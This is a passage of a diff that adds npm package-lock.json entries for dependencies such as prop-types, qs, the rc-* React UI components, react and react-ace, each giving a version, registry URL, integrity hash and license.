"resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/prop-types/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "license": "MIT" + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-addr/node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-from-env": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/psl": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz", + "integrity": "sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==", + "dev": true, + "license": "MIT", + "dependencies": { + "punycode": "^2.3.1" + }, + "funding": { + "url": "https://github.com/sponsors/lupomontero" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/q": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz", + "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==", + "deprecated": "You or someone you depend on is using Q, the JavaScript Promise library that gave JavaScript developers strong feelings about promises. They can almost certainly migrate to the native JavaScript promise now. Thank you literally everyone for joining me in this bet against the odds. Be excellent to each other.\n\n(For a CapTP with native promises, see @endo/eventual-send and @endo/captp)", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.6.0", + "teleport": ">=0.2.0" + } + }, + "node_modules/qs": { + "version": "6.14.2", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.2.tgz", + "integrity": "sha512-V/yCWTTF7VJ9hIh18Ugr2zhJMP01MY7c5kh4J870L7imm6/DIzBsNLTXzMwUA3yZ5b/KBqLx8Kp3uRvd7xSe3Q==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/querystringify": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/raf": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz", + "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==", + "dev": true, + "license": "MIT", + "dependencies": { + "performance-now": "^2.1.0" + } + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.3", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.3.tgz", + "integrity": "sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA==", + "dev": true, + "license": "MIT", + "dependencies": { + "bytes": "~3.1.2", + "http-errors": "~2.0.1", + "iconv-lite": "~0.4.24", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/raw-body/node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dev": true, + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/rc-cascader": { + "version": "3.34.0", + "resolved": "https://registry.npmjs.org/rc-cascader/-/rc-cascader-3.34.0.tgz", + "integrity": "sha512-KpXypcvju9ptjW9FaN2NFcA2QH9E9LHKq169Y0eWtH4e/wHQ5Wh5qZakAgvb8EKZ736WZ3B0zLLOBsrsja5Dag==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.25.7", + "classnames": "^2.3.1", + "rc-select": "~14.16.2", + "rc-tree": "~5.13.0", + "rc-util": "^5.43.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-checkbox": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/rc-checkbox/-/rc-checkbox-3.5.0.tgz", + "integrity": "sha512-aOAQc3E98HteIIsSqm6Xk2FPKIER6+5vyEFMZfo73TqM+VVAIqOkHoPjgKLqSNtVLWScoaM7vY2ZrGEheI79yg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "classnames": "^2.3.2", + "rc-util": "^5.25.2" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-collapse": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/rc-collapse/-/rc-collapse-3.9.0.tgz", + "integrity": "sha512-swDdz4QZ4dFTo4RAUMLL50qP0EY62N2kvmk2We5xYdRwcRn8WcYtuetCJpwpaCbUfUt5+huLpVxhvmnK+PHrkA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "classnames": "2.x", + "rc-motion": "^2.3.4", + "rc-util": "^5.27.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-dialog": { + "version": "9.6.0", + "resolved": "https://registry.npmjs.org/rc-dialog/-/rc-dialog-9.6.0.tgz", + "integrity": "sha512-ApoVi9Z8PaCQg6FsUzS8yvBEQy0ZL2PkuvAgrmohPkN3okps5WZ5WQWPc1RNuiOKaAYv8B97ACdsFU5LizzCqg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "@rc-component/portal": "^1.0.0-8", + "classnames": "^2.2.6", + "rc-motion": "^2.3.0", + "rc-util": "^5.21.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-drawer": { + "version": "7.3.0", + "resolved": "https://registry.npmjs.org/rc-drawer/-/rc-drawer-7.3.0.tgz", + "integrity": "sha512-DX6CIgiBWNpJIMGFO8BAISFkxiuKitoizooj4BDyee8/SnBn0zwO2FHrNDpqqepj0E/TFTDpmEBCyFuTgC7MOg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.23.9", + "@rc-component/portal": "^1.1.1", + "classnames": "^2.2.6", + "rc-motion": "^2.6.1", + "rc-util": "^5.38.1" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-dropdown": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/rc-dropdown/-/rc-dropdown-4.2.1.tgz", + "integrity": "sha512-YDAlXsPv3I1n42dv1JpdM7wJ+gSUBfeyPK59ZpBD9jQhK9jVuxpjj3NmWQHOBceA1zEPVX84T2wbdb2SD0UjmA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.3", + "@rc-component/trigger": "^2.0.0", + "classnames": "^2.2.6", + "rc-util": "^5.44.1" + }, + "peerDependencies": { + "react": ">=16.11.0", + "react-dom": ">=16.11.0" + } + }, + "node_modules/rc-field-form": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/rc-field-form/-/rc-field-form-2.7.1.tgz", + "integrity": "sha512-vKeSifSJ6HoLaAB+B8aq/Qgm8a3dyxROzCtKNCsBQgiverpc4kWDQihoUwzUj+zNWJOykwSY4dNX3QrGwtVb9A==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.0", + "@rc-component/async-validator": "^5.0.3", + "rc-util": "^5.32.2" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-image": { + "version": "7.12.0", + "resolved": "https://registry.npmjs.org/rc-image/-/rc-image-7.12.0.tgz", + "integrity": "sha512-cZ3HTyyckPnNnUb9/DRqduqzLfrQRyi+CdHjdqgsyDpI3Ln5UX1kXnAhPBSJj9pVRzwRFgqkN7p9b6HBDjmu/Q==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.11.2", + "@rc-component/portal": "^1.0.2", + "classnames": "^2.2.6", + "rc-dialog": "~9.6.0", + "rc-motion": "^2.6.2", + "rc-util": "^5.34.1" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-input": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/rc-input/-/rc-input-1.8.0.tgz", + "integrity": "sha512-KXvaTbX+7ha8a/k+eg6SYRVERK0NddX8QX7a7AnRvUa/rEH0CNMlpcBzBkhI0wp2C8C4HlMoYl8TImSN+fuHKA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.11.1", + "classnames": "^2.2.1", + "rc-util": "^5.18.1" + }, + "peerDependencies": { + "react": ">=16.0.0", + "react-dom": ">=16.0.0" + } + }, + "node_modules/rc-input-number": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/rc-input-number/-/rc-input-number-9.5.0.tgz", + "integrity": "sha512-bKaEvB5tHebUURAEXw35LDcnRZLq3x1k7GxfAqBMzmpHkDGzjAtnUL8y4y5N15rIFIg5IJgwr211jInl3cipag==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "@rc-component/mini-decimal": "^1.0.1", + "classnames": "^2.2.5", + "rc-input": "~1.8.0", + "rc-util": "^5.40.1" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-mentions": { + "version": "2.20.0", + "resolved": "https://registry.npmjs.org/rc-mentions/-/rc-mentions-2.20.0.tgz", + "integrity": "sha512-w8HCMZEh3f0nR8ZEd466ATqmXFCMGMN5UFCzEUL0bM/nGw/wOS2GgRzKBcm19K++jDyuWCOJOdgcKGXU3fXfbQ==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.22.5", + "@rc-component/trigger": "^2.0.0", + "classnames": "^2.2.6", + "rc-input": "~1.8.0", + "rc-menu": "~9.16.0", + "rc-textarea": "~1.10.0", + "rc-util": "^5.34.1" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-menu": { + "version": "9.16.1", + "resolved": "https://registry.npmjs.org/rc-menu/-/rc-menu-9.16.1.tgz", + "integrity": "sha512-ghHx6/6Dvp+fw8CJhDUHFHDJ84hJE3BXNCzSgLdmNiFErWSOaZNsihDAsKq9ByTALo/xkNIwtDFGIl6r+RPXBg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "@rc-component/trigger": "^2.0.0", + "classnames": "2.x", + "rc-motion": "^2.4.3", + "rc-overflow": "^1.3.1", + "rc-util": "^5.27.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-motion": { + "version": "2.9.5", + "resolved": "https://registry.npmjs.org/rc-motion/-/rc-motion-2.9.5.tgz", + "integrity": "sha512-w+XTUrfh7ArbYEd2582uDrEhmBHwK1ZENJiSJVb7uRxdE7qJSYjbO2eksRXmndqyKqKoYPc9ClpPh5242mV1vA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.11.1", + "classnames": "^2.2.1", + "rc-util": "^5.44.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-notification": { + "version": "5.6.4", + "resolved": "https://registry.npmjs.org/rc-notification/-/rc-notification-5.6.4.tgz", + "integrity": "sha512-KcS4O6B4qzM3KH7lkwOB7ooLPZ4b6J+VMmQgT51VZCeEcmghdeR4IrMcFq0LG+RPdnbe/ArT086tGM8Snimgiw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "classnames": "2.x", + "rc-motion": "^2.9.0", + "rc-util": "^5.20.1" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-overflow": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/rc-overflow/-/rc-overflow-1.5.0.tgz", + "integrity": "sha512-Lm/v9h0LymeUYJf0x39OveU52InkdRXqnn2aYXfWmo8WdOonIKB2kfau+GF0fWq6jPgtdO9yMqveGcK6aIhJmg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.11.1", + "classnames": "^2.2.1", + "rc-resize-observer": "^1.0.0", + "rc-util": "^5.37.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-pagination": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/rc-pagination/-/rc-pagination-5.1.0.tgz", + "integrity": "sha512-8416Yip/+eclTFdHXLKTxZvn70duYVGTvUUWbckCCZoIl3jagqke3GLsFrMs0bsQBikiYpZLD9206Ej4SOdOXQ==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "classnames": "^2.3.2", + "rc-util": "^5.38.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-picker": { + "version": "4.11.3", + "resolved": "https://registry.npmjs.org/rc-picker/-/rc-picker-4.11.3.tgz", + "integrity": "sha512-MJ5teb7FlNE0NFHTncxXQ62Y5lytq6sh5nUw0iH8OkHL/TjARSEvSHpr940pWgjGANpjCwyMdvsEV55l5tYNSg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.24.7", + "@rc-component/trigger": "^2.0.0", + "classnames": "^2.2.1", + "rc-overflow": "^1.3.2", + "rc-resize-observer": "^1.4.0", + "rc-util": "^5.43.0" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "date-fns": ">= 2.x", + "dayjs": ">= 1.x", + "luxon": ">= 3.x", + "moment": ">= 2.x", + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + }, + "peerDependenciesMeta": { + "date-fns": { + "optional": true + }, + "dayjs": { + "optional": true + }, + "luxon": { + "optional": true + }, + "moment": { + "optional": true + } + } + }, + "node_modules/rc-progress": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-4.0.0.tgz", + "integrity": "sha512-oofVMMafOCokIUIBnZLNcOZFsABaUw8PPrf1/y0ZBvKZNpOiu5h4AO9vv11Sw0p4Hb3D0yGWuEattcQGtNJ/aw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "classnames": "^2.2.6", + "rc-util": "^5.16.1" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-rate": { + "version": "2.13.1", + "resolved": "https://registry.npmjs.org/rc-rate/-/rc-rate-2.13.1.tgz", + "integrity": "sha512-QUhQ9ivQ8Gy7mtMZPAjLbxBt5y9GRp65VcUyGUMF3N3fhiftivPHdpuDIaWIMOTEprAjZPC08bls1dQB+I1F2Q==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "classnames": "^2.2.5", + "rc-util": "^5.0.1" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-resize-observer": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/rc-resize-observer/-/rc-resize-observer-1.4.3.tgz", + "integrity": "sha512-YZLjUbyIWox8E9i9C3Tm7ia+W7euPItNWSPX5sCcQTYbnwDb5uNpnLHQCG1f22oZWUhLw4Mv2tFmeWe68CDQRQ==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.20.7", + "classnames": "^2.2.1", + "rc-util": "^5.44.1", + "resize-observer-polyfill": "^1.5.1" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-segmented": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/rc-segmented/-/rc-segmented-2.7.1.tgz", + "integrity": "sha512-izj1Nw/Dw2Vb7EVr+D/E9lUTkBe+kKC+SAFSU9zqr7WV2W5Ktaa9Gc7cB2jTqgk8GROJayltaec+DBlYKc6d+g==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.11.1", + "classnames": "^2.2.1", + "rc-motion": "^2.4.4", + "rc-util": "^5.17.0" + }, + "peerDependencies": { + "react": ">=16.0.0", + "react-dom": ">=16.0.0" + } + }, + "node_modules/rc-select": { + "version": "14.16.8", + "resolved": "https://registry.npmjs.org/rc-select/-/rc-select-14.16.8.tgz", + "integrity": "sha512-NOV5BZa1wZrsdkKaiK7LHRuo5ZjZYMDxPP6/1+09+FB4KoNi8jcG1ZqLE3AVCxEsYMBe65OBx71wFoHRTP3LRg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "@rc-component/trigger": "^2.1.1", + "classnames": "2.x", + "rc-motion": "^2.0.1", + "rc-overflow": "^1.3.1", + "rc-util": "^5.16.1", + "rc-virtual-list": "^3.5.2" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": "*", + "react-dom": "*" + } + }, + "node_modules/rc-slider": { + "version": "11.1.9", + "resolved": "https://registry.npmjs.org/rc-slider/-/rc-slider-11.1.9.tgz", + "integrity": "sha512-h8IknhzSh3FEM9u8ivkskh+Ef4Yo4JRIY2nj7MrH6GQmrwV6mcpJf5/4KgH5JaVI1H3E52yCdpOlVyGZIeph5A==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "classnames": "^2.2.5", + "rc-util": "^5.36.0" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-steps": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/rc-steps/-/rc-steps-6.0.1.tgz", + "integrity": "sha512-lKHL+Sny0SeHkQKKDJlAjV5oZ8DwCdS2hFhAkIjuQt1/pB81M0cA0ErVFdHq9+jmPmFw1vJB2F5NBzFXLJxV+g==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.16.7", + "classnames": "^2.2.3", + "rc-util": "^5.16.1" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-switch": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/rc-switch/-/rc-switch-4.1.0.tgz", + "integrity": "sha512-TI8ufP2Az9oEbvyCeVE4+90PDSljGyuwix3fV58p7HV2o4wBnVToEyomJRVyTaZeqNPAp+vqeo4Wnj5u0ZZQBg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.21.0", + "classnames": "^2.2.1", + "rc-util": "^5.30.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-table": { + "version": "7.54.0", + "resolved": "https://registry.npmjs.org/rc-table/-/rc-table-7.54.0.tgz", + "integrity": "sha512-/wDTkki6wBTjwylwAGjpLKYklKo9YgjZwAU77+7ME5mBoS32Q4nAwoqhA2lSge6fobLW3Tap6uc5xfwaL2p0Sw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "@rc-component/context": "^1.4.0", + "classnames": "^2.2.5", + "rc-resize-observer": "^1.1.0", + "rc-util": "^5.44.3", + "rc-virtual-list": "^3.14.2" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-tabs": { + "version": "15.7.0", + "resolved": "https://registry.npmjs.org/rc-tabs/-/rc-tabs-15.7.0.tgz", + "integrity": "sha512-ZepiE+6fmozYdWf/9gVp7k56PKHB1YYoDsKeQA1CBlJ/POIhjkcYiv0AGP0w2Jhzftd3AVvZP/K+V+Lpi2ankA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.11.2", + "classnames": "2.x", + "rc-dropdown": "~4.2.0", + "rc-menu": "~9.16.0", + "rc-motion": "^2.6.2", + "rc-resize-observer": "^1.0.0", + "rc-util": "^5.34.1" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-textarea": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/rc-textarea/-/rc-textarea-1.10.2.tgz", + "integrity": "sha512-HfaeXiaSlpiSp0I/pvWpecFEHpVysZ9tpDLNkxQbMvMz6gsr7aVZ7FpWP9kt4t7DB+jJXesYS0us1uPZnlRnwQ==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "classnames": "^2.2.1", + "rc-input": "~1.8.0", + "rc-resize-observer": "^1.0.0", + "rc-util": "^5.27.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-tooltip": { + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/rc-tooltip/-/rc-tooltip-6.4.0.tgz", + "integrity": "sha512-kqyivim5cp8I5RkHmpsp1Nn/Wk+1oeloMv9c7LXNgDxUpGm+RbXJGL+OPvDlcRnx9DBeOe4wyOIl4OKUERyH1g==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.11.2", + "@rc-component/trigger": "^2.0.0", + "classnames": "^2.3.1", + "rc-util": "^5.44.3" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-tree": { + "version": "5.13.1", + "resolved": "https://registry.npmjs.org/rc-tree/-/rc-tree-5.13.1.tgz", + "integrity": "sha512-FNhIefhftobCdUJshO7M8uZTA9F4OPGVXqGfZkkD/5soDeOhwO06T/aKTrg0WD8gRg/pyfq+ql3aMymLHCTC4A==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.1", + "classnames": "2.x", + "rc-motion": "^2.0.1", + "rc-util": "^5.16.1", + "rc-virtual-list": "^3.5.1" + }, + "engines": { + "node": ">=10.x" + }, + "peerDependencies": { + "react": "*", + "react-dom": "*" + } + }, + "node_modules/rc-tree-select": { + "version": "5.27.0", + "resolved": "https://registry.npmjs.org/rc-tree-select/-/rc-tree-select-5.27.0.tgz", + "integrity": "sha512-2qTBTzwIT7LRI1o7zLyrCzmo5tQanmyGbSaGTIf7sYimCklAToVVfpMC6OAldSKolcnjorBYPNSKQqJmN3TCww==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.25.7", + "classnames": "2.x", + "rc-select": "~14.16.2", + "rc-tree": "~5.13.0", + "rc-util": "^5.43.0" + }, + "peerDependencies": { + "react": "*", + "react-dom": "*" + } + }, + "node_modules/rc-upload": { + "version": "4.11.0", + "resolved": "https://registry.npmjs.org/rc-upload/-/rc-upload-4.11.0.tgz", + "integrity": "sha512-ZUyT//2JAehfHzjWowqROcwYJKnZkIUGWaTE/VogVrepSl7AFNbQf4+zGfX4zl9Vrj/Jm8scLO0R6UlPDKK4wA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.3", + "classnames": "^2.2.5", + "rc-util": "^5.2.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-util": { + "version": "5.44.4", + "resolved": "https://registry.npmjs.org/rc-util/-/rc-util-5.44.4.tgz", + "integrity": "sha512-resueRJzmHG9Q6rI/DfK6Kdv9/Lfls05vzMs1Sk3M2P+3cJa+MakaZyWY8IPfehVuhPJFKrIY1IK4GqbiaiY5w==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.3", + "react-is": "^18.2.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/rc-util/node_modules/react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "license": "MIT" + }, + "node_modules/rc-virtual-list": { + "version": "3.19.2", + "resolved": "https://registry.npmjs.org/rc-virtual-list/-/rc-virtual-list-3.19.2.tgz", + "integrity": "sha512-Ys6NcjwGkuwkeaWBDqfI3xWuZ7rDiQXlH1o2zLfFzATfEgXcqpk8CkgMfbJD81McqjcJVez25a3kPxCR807evA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.20.0", + "classnames": "^2.2.6", + "rc-resize-observer": "^1.0.0", + "rc-util": "^5.36.0" + }, + "engines": { + "node": ">=8.x" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/react": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz", + "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-ace": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/react-ace/-/react-ace-10.1.0.tgz", + "integrity": "sha512-VkvUjZNhdYTuKOKQpMIZi7uzZZVgzCjM7cLYu6F64V0mejY8a2XTyPUIMszC6A4trbeMIHbK5fYFcT/wkP/8VA==", + "license": "MIT", + "dependencies": { + "ace-builds": "^1.4.14", + "diff-match-patch": "^1.0.5", + "lodash.get": 